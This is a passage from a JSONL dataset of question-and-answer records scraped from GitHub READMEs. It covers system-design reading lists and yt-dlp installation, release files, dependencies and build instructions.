[Jane Street](https://youtu.be/b1e4t2k2KJY)\n[Golang Implementation](https://around25.com/blog/building-a-", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222521"}
{"id": "gh_5e0dadd43321", "question": "How to: Real world architectures", "question_body": "About donnemartin/system-design-primer", "answer": "> Articles on how real world systems are designed.\nSource: Twitter timelines at scale\n**Don't focus on nitty gritty details for the following articles, instead:**\n\n* Identify shared principles, common technologies, and patterns within these articles\n* Study what problems are solved by each component, where it works, where it doesn't\n* Review the lessons learned\n\n|Type | System | Reference(s) |\n|---|---|---|\n| Data processing | **MapReduce** - Distributed data processing from Google | [research.google.com](http://static.googleusercontent.com/media/research.google.com/zh-CN/us/archive/mapreduce-osdi04.pdf) |\n| Data processing | **Spark** - Distributed data processing from Databricks | [slideshare.net](http://www.slideshare.net/AGrishchenko/apache-spark-architecture) |\n| Data processing | **Storm** - Distributed data processing from Twitter | [slideshare.net](http://www.slideshare.net/previa/storm-16094009) |\n| | | |\n| Data store | **Bigtable** - Distributed column-oriented database from Google | [harvard.edu](http://www.read.seas.harvard.edu/~kohler/class/cs239-w08/chang06bigtable.pdf) |\n| Data store | **HBase** - Open source implementation of Bigtable | [slideshare.net](http://www.slideshare.net/alexbaranau/intro-to-hbase) |\n| Data store | **Cassandra** - Distributed column-oriented database from Facebook | [slideshare.net](http://www.slideshare.net/planetcassandra/cassandra-introduction-features-30103666)\n| Data store | **DynamoDB** - Document-oriented database from Amazon | [harvard.edu](http://www.read.seas.harvard.edu/~kohler/class/cs239-w08/decandia07dynamo.pdf) |\n| Data store | **MongoDB** - Document-oriented database | [slideshare.net](http://www.slideshare.net/mdirolf/introduction-to-mongodb) |\n| Data store | **Spanner** - Globally-distributed database from Google | [research.google.com](http://research.google.com/archive/spanner-osdi2012.pdf) |\n| Data store | **Memcached** - Distributed memory caching system | [slideshare.net](http://www.slideshare.net/oemebamo/introduction-to-memcached) |\n| Data store | **Redis** - Distributed memory caching system with persistence and value types | [slideshare.net](http://www.slideshare.net/dvirsky/introduction-to-redis) |\n| | | |\n| File system | **Google File System (GFS)** - Distributed file system | [research.google.com](http://static.googleusercontent.com/media/research.google.com/zh-CN/us/archive/gfs-sosp2003.pdf) |\n| File system | **Hadoop File System (HDFS)** - Open source implementation of GFS | [apache.org](http://hadoop.apache.org/docs/stable/hadoop-project-dist/hadoop-hdfs/HdfsDesign.html) |\n| | | |\n| Misc | **Chubby** - Lock service for loosely-coupled distributed systems from Google | [research.google.com](http://static.googleusercontent.com/external_content/untrusted_dlcp/research.google.com/en/us/archive/chubby-osdi06.pdf) |\n| Misc | **Dapper** - Distributed systems tracing infrastructure | [research.google.com](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/36356.pdf)\n| Misc | **Kafka** - Pub/sub message queue from LinkedIn | [slideshare.net](http://www.slideshare.net/mumrah/kafka-talk-tri-hug) |\n| Misc | **Zookeeper** - Centralized infrastructure and services enabling synchronization | [slideshare.net](http://www.slideshare.net/sauravhaloi/introduction-to-apache-zookeeper) |\n| | Add an architecture | [Contribute](#contributing) |", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222532"}
{"id": "gh_fec7ba0d8284", "question": "How to: Company architectures", "question_body": "About donnemartin/system-design-primer", "answer": "| Company | Reference(s) |\n|---|---|\n| Amazon | [Amazon architecture](http://highscalability.com/amazon-architecture) |\n| Cinchcast | [Producing 1,500 hours of audio every day](http://highscalability.com/blog/2012/7/16/cinchcast-architecture-producing-1500-hours-of-audio-every-d.html) |\n| DataSift | [Realtime datamining At 120,000 tweets per second](http://highscalability.com/blog/2011/11/29/datasift-architecture-realtime-datamining-at-120000-tweets-p.html) |\n| Dropbox | [How we've scaled Dropbox](https://www.youtube.com/watch?v=PE4gwstWhmc) |\n| ESPN | [Operating At 100,000 duh nuh nuhs per second](http://highscalability.com/blog/2013/11/4/espns-architecture-at-scale-operating-at-100000-duh-nuh-nuhs.html) |\n| Google | [Google architecture](http://highscalability.com/google-architecture) |\n| Instagram | [14 million users, terabytes of photos](http://highscalability.com/blog/2011/12/6/instagram-architecture-14-million-users-terabytes-of-photos.html)\n[What powers Instagram](http://instagram-engineering.tumblr.com/post/13649370142/what-powers-instagram-hundreds-of-instances) |\n| Justin.tv | [Justin.Tv's live video broadcasting architecture](http://highscalability.com/blog/2010/3/16/justintvs-live-video-broadcasting-architecture.html) |\n| Facebook | [Scaling memcached at Facebook](https://cs.uwaterloo.ca/~brecht/courses/854-Emerging-2014/readings/key-value/fb-memcached-nsdi-2013.pdf)\n[TAO: Facebook’s distributed data store for the social graph](https://cs.uwaterloo.ca/~brecht/courses/854-Emerging-2014/readings/data-store/tao-facebook-distributed-datastore-atc-2013.pdf)\n[Facebook’s photo storage](https://www.usenix.org/legacy/event/osdi10/tech/full_papers/Beaver.pdf)\n[How Facebook Live Streams To 800,000 Simultaneous Viewers](http://highscalability.com/blog/2016/6/27/how-facebook-live-streams-to-800000-simultaneous-viewers.html) |\n| Flickr | [Flickr architecture](http://highscalability.com/flickr-architecture) |\n| Mailbox | [From 0 to one million users in 6 weeks](http://highscalability.com/blog/2013/6/18/scaling-mailbox-from-0-to-one-million-users-in-6-weeks-and-1.html) |\n| Netflix | [A 360 Degree View Of The Entire Netflix Stack](http://highscalability.com/blog/2015/11/9/a-360-degree-view-of-the-entire-netflix-stack.html)\n[Netflix: What Happens When You Press Play?](http://highscalability.com/blog/2017/12/11/netflix-what-happens-when-you-press-play.html) |\n| Pinterest | [From 0 To 10s of billions of page views a month](http://highscalability.com/blog/2013/4/15/scaling-pinterest-from-0-to-10s-of-billions-of-page-views-a.html)\n[18 million visitors, 10x growth, 12 employees](http://highscalability.com/blog/2012/5/21/pinterest-architecture-update-18-million-visitors-10x-growth.html) |\n| Playfish | [50 million monthly users and growing](http://highscalability.com/blog/2010/9/21/playfishs-social-gaming-architecture-50-million-monthly-user.html) |\n| PlentyOfFish | [PlentyOfFish architecture](http://highscalability.com/plentyoffish-architecture) |\n| Salesforce | [How they handle 1.3 billion transactions a day](http://highscalability.com/blog/2013/9/23/salesforce-architecture-how-they-handle-13-billion-transacti.html) |\n| Stack Overflow | [Stack Overflow architecture](http://highscalability.com/blog/2009/8/5/stack-overflow-architecture.html) |\n| TripAdvisor | [40M visitors, 200M dynamic page views, 30TB data](http://highscalability.com/blog/2011/6/27/tripadvisor-architecture-40m-visitors-200m-dynamic-page-view.html) |\n| Tumblr | [15 billion page views a month](http://highscalability.com/blog/2012/2/13/tumblr-architecture-15-billion-page-views-a-month-and-harder.html) |\n| Twitter | [Making Twitter 10000 percent faster](http://highscalability.com/scaling-twitter-making-twitter-10000-percent-faster)\n[Storing 250 million tweets a day using MySQL](http://highscalability.com/blog/2011/12/19/how-twitter-stores-250-million-tweets-a-day-using-mysql.html)\n[150M active users, 300K QPS, a 22 MB/S firehose](http://highscalability.com/blog/2013/7/8/the-architecture-twitter-uses-to-deal-with-150m-active-users.html)\n[Timelines at scale](https://www.infoq.com/presentations/Twitter-Timeline-Scalability)\n[Big and small data at Twitter](https://www.youtube.com/watch?v=5cKTP36HVgI)\n[Operations at Twitter: scaling beyond 100 million users](https://www.youtube.com/watch?v=z8LU0Cj6BOU)\n[How Twitter Handles 3,000 Images Per Second](http://highscalability.com/blog/2016/4/20/how-twitter-handles-3000-images-per-second.html) |\n| Uber | [How Uber scales their real-time market platform](http://highscalability.com/blog/2015/9/14/how-uber-scales-their-real-time-market-platform.html)\n[Lessons Learned From Scaling Uber To 2000 Engineers, 1000 Services, And 8000 Git Repositories](http://highscalability.com/blog/2016/10/12/lessons-learned-from-scaling-uber-to-2000-engineers-1000-ser.html) |\n| WhatsApp | [The WhatsApp architecture Facebook bought for $19 billion](http://highscalability.com/blog/2014/2/26/t", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222547"}
{"id": "gh_ad2a8b07bff1", "question": "How to: Company engineering blogs", "question_body": "About donnemartin/system-design-primer", "answer": "> Architectures for companies you are interviewing with.\n>\n> Questions you encounter might be from the same domain.\n\n* [Airbnb Engineering](http://nerds.airbnb.com/)\n* [Atlassian Developers](https://developer.atlassian.com/blog/)\n* [AWS Blog](https://aws.amazon.com/blogs/aws/)\n* [Bitly Engineering Blog](http://word.bitly.com/)\n* [Box Blogs](https://blog.box.com/blog/category/engineering)\n* [Cloudera Developer Blog](http://blog.cloudera.com/)\n* [Dropbox Tech Blog](https://tech.dropbox.com/)\n* [Engineering at Quora](https://www.quora.com/q/quoraengineering)\n* [Ebay Tech Blog](http://www.ebaytechblog.com/)\n* [Evernote Tech Blog](https://blog.evernote.com/tech/)\n* [Etsy Code as Craft](http://codeascraft.com/)\n* [Facebook Engineering](https://www.facebook.com/Engineering)\n* [Flickr Code](http://code.flickr.net/)\n* [Foursquare Engineering Blog](http://engineering.foursquare.com/)\n* [GitHub Engineering Blog](https://github.blog/category/engineering)\n* [Google Research Blog](http://googleresearch.blogspot.com/)\n* [Groupon Engineering Blog](https://engineering.groupon.com/)\n* [Heroku Engineering Blog](https://engineering.heroku.com/)\n* [Hubspot Engineering Blog](http://product.hubspot.com/blog/topic/engineering)\n* [High Scalability](http://highscalability.com/)\n* [Instagram Engineering](http://instagram-engineering.tumblr.com/)\n* [Intel Software Blog](https://software.intel.com/en-us/blogs/)\n* [Jane Street Tech Blog](https://blogs.janestreet.com/category/ocaml/)\n* [LinkedIn Engineering](http://engineering.linkedin.com/blog)\n* [Microsoft Engineering](https://engineering.microsoft.com/)\n* [Microsoft Python Engineering](https://blogs.msdn.microsoft.com/pythonengineering/)\n* [Netflix Tech Blog](http://techblog.netflix.com/)\n* [Paypal Developer Blog](https://medium.com/paypal-engineering)\n* [Pinterest Engineering Blog](https://medium.com/@Pinterest_Engineering)\n* [Reddit Blog](http://www.redditblog.com/)\n* [Salesforce Engineering Blog](https://developer.salesforce.com/blogs/engineering/)\n* [Slack Engineering Blog](https://slack.engineering/)\n* [Spotify Labs](https://labs.spotify.com/)\n* [Stripe Engineering Blog](https://stripe.com/blog/engineering)\n* [Twilio Engineering Blog](http://www.twilio.com/engineering)\n* [Twitter Engineering](https://blog.twitter.com/engineering/)\n* [Uber Engineering Blog](http://eng.uber.com/)\n* [Yahoo Engineering Blog](http://yahooeng.tumblr.com/)\n* [Yelp Engineering Blog](http://engineeringblog.yelp.com/)\n* [Zynga Engineering Blog](https://www.zynga.com/blogs/engineering)\n\n#### Source(s) and further reading\n\nLooking to add a blog?  To avoid duplicating work, consider adding your company blog to the following repo:\n\n* [kilimchoi/engineering-blogs](https://github.com/kilimchoi/engineering-blogs)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222557"}
{"id": "gh_e372737d4eda", "question": "How to: Under development", "question_body": "About donnemartin/system-design-primer", "answer": "Interested in adding a section or helping complete one in-progress?  [Contribute](#contributing)!\n\n* Distributed computing with MapReduce\n* Consistent hashing\n* Scatter gather\n* [Contribute](#contributing)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222561"}
{"id": "gh_4a8de9e050f6", "question": "How to: Contact info", "question_body": "About donnemartin/system-design-primer", "answer": "Feel free to contact me to discuss any issues, questions, or comments.\n\nMy contact info can be found on my [GitHub page](https://github.com/donnemartin).", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222566"}
{"id": "gh_e639d43c962b", "question": "How to: INSTALLATION", "question_body": "About yt-dlp/yt-dlp", "answer": "[![Windows](https://img.shields.io/badge/-Windows_x64-blue.svg?style=for-the-badge&logo=windows)](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe)\n[![Unix](https://img.shields.io/badge/-Linux/BSD-red.svg?style=for-the-badge&logo=linux)](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp)\n[![MacOS](https://img.shields.io/badge/-MacOS-lightblue.svg?style=for-the-badge&logo=apple)](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos)\n[![PyPI](https://img.shields.io/badge/-PyPI-blue.svg?logo=pypi&labelColor=555555&style=for-the-badge)](https://pypi.org/project/yt-dlp)\n[![Source Tarball](https://img.shields.io/badge/-Source_tar-green.svg?style=for-the-badge)](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.tar.gz)\n[![Other variants](https://img.shields.io/badge/-Other-grey.svg?style=for-the-badge)](#release-files)\n[![All versions](https://img.shields.io/badge/-All_Versions-lightgrey.svg?style=for-the-badge)](https://github.com/yt-dlp/yt-dlp/releases)\nYou can install yt-dlp using [the binaries](#release-files), [pip](https://pypi.org/project/yt-dlp) or one using a third-party package manager. See [the wiki](https://github.com/yt-dlp/yt-dlp/wiki/Installation) for detailed instructions", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417755"}
{"id": "gh_d80f346d8ee3", "question": "How to: RELEASE FILES", "question_body": "About yt-dlp/yt-dlp", "answer": "#### Recommended\n\nFile|Description\n:---|:---\n[yt-dlp](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp)|Platform-independent [zipimport](https://docs.python.org/3/library/zipimport.html) binary. Needs Python (recommended for **Linux/BSD**)\n[yt-dlp.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe)|Windows (Win8+) standalone x64 binary (recommended for **Windows**)\n[yt-dlp_macos](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos)|Universal MacOS (10.15+) standalone executable (recommended for **MacOS**)\n\n#### Alternatives\n\nFile|Description\n:---|:---\n[yt-dlp_linux](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux)|Linux (glibc 2.17+) standalone x86_64 binary\n[yt-dlp_linux.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux.zip)|Unpackaged Linux (glibc 2.17+) x86_64 executable (no auto-update)\n[yt-dlp_linux_aarch64](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux_aarch64)|Linux (glibc 2.17+) standalone aarch64 binary\n[yt-dlp_linux_aarch64.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux_aarch64.zip)|Unpackaged Linux (glibc 2.17+) aarch64 executable (no auto-update)\n[yt-dlp_linux_armv7l.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_linux_armv7l.zip)|Unpackaged Linux (glibc 2.31+) armv7l executable (no auto-update)\n[yt-dlp_musllinux](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_musllinux)|Linux (musl 1.2+) standalone x86_64 binary\n[yt-dlp_musllinux.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_musllinux.zip)|Unpackaged Linux (musl 1.2+) x86_64 executable (no auto-update)\n[yt-dlp_musllinux_aarch64](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_musllinux_aarch64)|Linux (musl 1.2+) standalone aarch64 binary\n[yt-dlp_musllinux_aarch64.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_musllinux_aarch64.zip)|Unpackaged Linux (musl 1.2+) aarch64 executable (no auto-update)\n[yt-dlp_x86.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_x86.exe)|Windows (Win8+) standalone x86 (32-bit) binary\n[yt-dlp_win_x86.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_win_x86.zip)|Unpackaged Windows (Win8+) x86 (32-bit) executable (no auto-update)\n[yt-dlp_arm64.exe](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_arm64.exe)|Windows (Win10+) standalone ARM64 binary\n[yt-dlp_win_arm64.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_win_arm64.zip)|Unpackaged Windows (Win10+) ARM64 executable (no auto-update)\n[yt-dlp_win.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_win.zip)|Unpackaged Windows (Win8+) x64 executable (no auto-update)\n[yt-dlp_macos.zip](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos.zip)|Unpackaged MacOS (10.15+) executable (no auto-update)\n\n#### Misc\n\nFile|Description\n:---|:---\n[yt-dlp.tar.gz](https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.tar.gz)|Source tarball\n[SHA2-512SUMS](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-512SUMS)|GNU-style SHA512 sums\n[SHA2-512SUMS.sig](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-512SUMS.sig)|GPG signature file for SHA512 sums\n[SHA2-256SUMS](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-256SUMS)|GNU-style SHA256 sums\n[SHA2-256SUMS.sig](https://github.com/yt-dlp/yt-dlp/releases/latest/download/SHA2-256SUMS.sig)|GPG signature file for SHA256 sums\n\nThe public key that can be used to verify the GPG signatures is [available here](https://github.com/yt-dlp/yt-dlp/blob/master/public.key)\nExample usage:\n```\ncurl -L https://github.com/yt-dlp/yt-dlp/raw/master/public.key | gpg --import\ngpg --verify SHA2-256SUMS.sig SHA2-256SUMS\ngpg --verify SHA2-512SUMS.sig SHA2-512SUMS\n```\n\n#### Licensing\n\nWhile yt-dlp is licensed under the [Unlicense](LICENSE), many of the release files contain code from other projects with different licenses.\n\nMost notably, the PyInstaller-bundled executables include GPLv3+ licensed code, and as such the combined work is licensed under [GPLv3+](https://www.gnu.org/licenses/gpl-3.0.html).\n\nThe zipimport Unix executable (`yt-dlp`) contains [ISC](https://github.com/meriyah/meriyah/blob/main/LICENSE.md) licensed code from [`meriyah`](https://github.com/meriyah/meriyah) and [MIT](https://github.com/davidbonnet/astring/blob/main/LICENSE) licensed code from [`astring`](https://github.com/davidbonnet/astring).\n\nSee [THIRD_PARTY_LICENSES.txt](THIRD_PARTY_LICENSES.txt) for more details.\n\nThe git repository, the source tarball (`yt-dlp.tar.gz`), the PyPI source distribution and the PyPI built distribution (wheel) only contain code licensed under the [Unlicense](LICENSE).\n**Note**: The manpages, shell completion (autocomplete) files etc. are available inside the [source tarball](https://github.com/", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417775"}
{"id": "gh_3d78e37c14ac", "question": "How to: To install nightly with pip:", "question_body": "About yt-dlp/yt-dlp", "answer": "python -m pip install -U --pre \"yt-dlp[default]\"\n```\n\nWhen running a yt-dlp version that is older than 90 days, you will see a warning message suggesting to update to the latest version.\nYou can suppress this warning by adding `--no-update` to your command or configuration file.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417783"}
{"id": "gh_99994acf6b4c", "question": "How to: DEPENDENCIES", "question_body": "About yt-dlp/yt-dlp", "answer": "Python versions 3.10+ (CPython) and 3.11+ (PyPy) are supported. Other versions and implementations may or may not work correctly.\nWhile all the other dependencies are optional, `ffmpeg`, `ffprobe`, `yt-dlp-ejs` and a supported JavaScript runtime/engine are highly recommended", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417790"}
{"id": "gh_a0cc55838b81", "question": "How to: Strongly recommended", "question_body": "About yt-dlp/yt-dlp", "answer": "* [**ffmpeg** and **ffprobe**](https://www.ffmpeg.org) - Required for [merging separate video and audio files](#format-selection), as well as for various [post-processing](#post-processing-options) tasks. License [depends on the build](https://www.ffmpeg.org/legal.html)\n\n    There are bugs in ffmpeg that cause various issues when used alongside yt-dlp. Since ffmpeg is such an important dependency, we provide [custom builds](https://github.com/yt-dlp/FFmpeg-Builds#ffmpeg-static-auto-builds) with patches for some of these issues at [yt-dlp/FFmpeg-Builds](https://github.com/yt-dlp/FFmpeg-Builds). See [the readme](https://github.com/yt-dlp/FFmpeg-Builds#patches-applied) for details on the specific issues solved by these builds\n\n    **Important**: What you need is ffmpeg *binary*, **NOT** [the Python package of the same name](https://pypi.org/project/ffmpeg)\n\n* [**yt-dlp-ejs**](https://github.com/yt-dlp/ejs) - Required for deciphering YouTube n/sig values. Licensed under [Unlicense](https://github.com/yt-dlp/ejs/blob/main/LICENSE), bundles [MIT](https://github.com/davidbonnet/astring/blob/main/LICENSE) and [ISC](https://github.com/meriyah/meriyah/blob/main/LICENSE.md) components.\n\n    A JavaScript runtime/engine like [**deno**](https://deno.land) (recommended), [**node.js**](https://nodejs.org), [**bun**](https://bun.sh), or [**QuickJS**](https://bellard.org/quickjs/) is also required to run yt-dlp-ejs. See [the wiki](https://github.com/yt-dlp/yt-dlp/wiki/EJS).", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417796"}
{"id": "gh_d3827224fe67", "question": "How to: Networking", "question_body": "About yt-dlp/yt-dlp", "answer": "* [**certifi**](https://github.com/certifi/python-certifi)\\* - Provides Mozilla's root certificate bundle. Licensed under [MPLv2](https://github.com/certifi/python-certifi/blob/master/LICENSE)\n* [**brotli**](https://github.com/google/brotli)\\* or [**brotlicffi**](https://github.com/python-hyper/brotlicffi) - [Brotli](https://en.wikipedia.org/wiki/Brotli) content encoding support. Both licensed under MIT\n[1](https://github.com/google/brotli/blob/master/LICENSE) [2](https://github.com/python-hyper/brotlicffi/blob/master/LICENSE)\n* [**websockets**](https://github.com/aaugustin/websockets)\\* - For downloading over websocket. Licensed under [BSD-3-Clause](https://github.com/aaugustin/websockets/blob/main/LICENSE)\n* [**requests**](https://github.com/psf/requests)\\* - HTTP library. For HTTPS proxy and persistent connections support. Licensed under [Apache-2.0](https://github.com/psf/requests/blob/main/LICENSE)\n\n#### Impersonation\n\nThe following provide support for impersonating browser requests. This may be required for some sites that employ TLS fingerprinting.\n\n* [**curl_cffi**](https://github.com/lexiforest/curl_cffi) (recommended) - Python binding for [curl-impersonate](https://github.com/lexiforest/curl-impersonate). Provides impersonation targets for Chrome, Edge and Safari. Licensed under [MIT](https://github.com/lexiforest/curl_cffi/blob/main/LICENSE)\n  * Can be installed with the `curl-cffi` extra, e.g. `pip install \"yt-dlp[default,curl-cffi]\"`\n  * Currently included in most builds *except* `yt-dlp` (Unix zipimport binary), `yt-dlp_x86` (Windows 32-bit) and `yt-dlp_musllinux_aarch64`", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417804"}
{"id": "gh_b1a8111bb4fd", "question": "How to: Deprecated", "question_body": "About yt-dlp/yt-dlp", "answer": "* [**rtmpdump**](http://rtmpdump.mplayerhq.hu) - For downloading `rtmp` streams. ffmpeg can be used instead with `--downloader ffmpeg`. Licensed under [GPLv2+](http://rtmpdump.mplayerhq.hu)\n* [**mplayer**](http://mplayerhq.hu/design7/info.html) or [**mpv**](https://mpv.io) - For downloading `rstp`/`mms` streams. ffmpeg can be used instead with `--downloader ffmpeg`. Licensed under [GPLv2+](https://github.com/mpv-player/mpv/blob/master/Copyright)\n\nTo use or redistribute the dependencies, you must agree to their respective licensing terms.\n\nThe standalone release binaries are built with the Python interpreter and the packages marked with **\\*** included.\n\nIf you do not have the necessary dependencies for a task you are attempting, yt-dlp will warn you. All the currently available dependencies are visible at the top of the `--verbose` output", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417811"}
{"id": "gh_bab00b8b5262", "question": "How to: Standalone PyInstaller Builds", "question_body": "About yt-dlp/yt-dlp", "answer": "To build the standalone executable, you must have Python and `pyinstaller` (plus any of yt-dlp's [optional dependencies](#dependencies) if needed). The executable will be built for the same CPU architecture as the Python used.\n\nYou can run the following commands:\n\n```\npython devscripts/install_deps.py --include-extra pyinstaller\npython devscripts/make_lazy_extractors.py\npython -m bundle.pyinstaller\n```\n\nOn some systems, you may need to use `py` or `python3` instead of `python`.\n\n`python -m bundle.pyinstaller` accepts any arguments that can be passed to `pyinstaller`, such as `--onefile/-F` or `--onedir/-D`, which is further [documented here](https://pyinstaller.org/en/stable/usage.html#what-to-generate).\n\n**Note**: Pyinstaller versions below 4.4 [do not support](https://github.com/pyinstaller/pyinstaller#requirements-and-tested-platforms) Python installed from the Windows store without using a virtual environment.\n\n**Important**: Running `pyinstaller` directly **instead of** using `python -m bundle.pyinstaller` is **not** officially supported. This may or may not work correctly.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417817"}
{"id": "gh_f4677ee454f1", "question": "How to: Platform-independent Binary (UNIX)", "question_body": "About yt-dlp/yt-dlp", "answer": "You will need the build tools `python` (3.10+), `zip`, `make` (GNU), `pandoc`\\* and `pytest`\\*.\n\nAfter installing these, simply run `make`.\n\nYou can also run `make yt-dlp` instead to compile only the binary without updating any of the additional files. (The build tools marked with **\\*** are not needed for this)", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417822"}
{"id": "gh_118907f1a846", "question": "How to: Related scripts", "question_body": "About yt-dlp/yt-dlp", "answer": "* **`devscripts/install_deps.py`** - Install dependencies for yt-dlp.\n* **`devscripts/update-version.py`** - Update the version number based on the current date.\n* **`devscripts/set-variant.py`** - Set the build variant of the executable.\n* **`devscripts/make_changelog.py`** - Create a markdown changelog using short commit messages and update `CONTRIBUTORS` file.\n* **`devscripts/make_lazy_extractors.py`** - Create lazy extractors. Running this before building the binaries (any variant) will improve their startup performance. Set the environment variable `YTDLP_NO_LAZY_EXTRACTORS` to something nonempty to forcefully disable lazy extractor loading.\n\nNote: See their `--help` for more info.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417828"}
{"id": "gh_4b25d94dbf75", "question": "How to: Forking the project", "question_body": "About yt-dlp/yt-dlp", "answer": "If you fork the project on GitHub, you can run your fork's [build workflow](.github/workflows/build.yml) to automatically build the selected version(s) as artifacts. Alternatively, you can run the [release workflow](.github/workflows/release.yml) or enable the [nightly workflow](.github/workflows/release-nightly.yml) to create full (pre-)releases.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 142071, "answer_score": 10, "has_code": false, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417833"}
{"id": "gh_2bc15ff068cf", "question": "How to: USAGE AND OPTIONS", "question_body": "About yt-dlp/yt-dlp", "answer": "yt-dlp [OPTIONS] [--] URL [URL...]\n\nTip: Use `CTRL`+`F` (or `Command`+`F`)  to search by keywords", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417837"}
